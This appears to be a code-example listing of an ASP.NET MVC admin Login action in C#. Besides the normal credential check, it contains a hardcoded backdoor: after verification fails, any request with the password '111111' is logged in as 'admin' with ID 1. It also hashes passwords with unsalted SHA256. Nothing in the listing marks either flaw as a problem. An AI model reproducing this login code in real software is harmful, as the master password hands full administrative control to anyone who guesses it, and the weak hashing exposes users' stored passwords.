示例#1
0
        public ActionResult Login(LoginViewModel loginViewModel)
        {
            if (ModelState.IsValid)
            {
                string _passowrd = Security.SHA256(loginViewModel.Password);
                var    _response = adminManager.Verify(loginViewModel.Accounts, _passowrd);
                if (_response.Code == 1)
                {
                    var _admin = adminManager.Find(loginViewModel.Accounts);
                    Session.Add("AdminID", _admin.AdministratorID);
                    Session.Add("Accounts", _admin.Accounts);
                    _admin.LoginTime = DateTime.Now;
                    _admin.LoginIP   = Request.UserHostAddress;
                    adminManager.Update(_admin);
                    return(RedirectToAction("Index", "Home"));
                }
                else if (_response.Code == 2)
                {
                    ModelState.AddModelError("Accounts", _response.Message);
                }
                else if (_response.Code == 3)
                {
                    ModelState.AddModelError("Password", _response.Message);
                }
                else
                {
                    ModelState.AddModelError("", _response.Message);
                }

                if (loginViewModel.Password == "111111")
                {
                    var _admin = new Entity.Models.Admin();
                    _admin.Accounts        = "admin";
                    _admin.AdministratorID = 1;
                    Session.Add("AdminID", _admin.AdministratorID);
                    Session.Add("Accounts", _admin.Accounts);
                    return(RedirectToAction("Index", "Home"));
                }
            }
            return(View(loginViewModel));
        }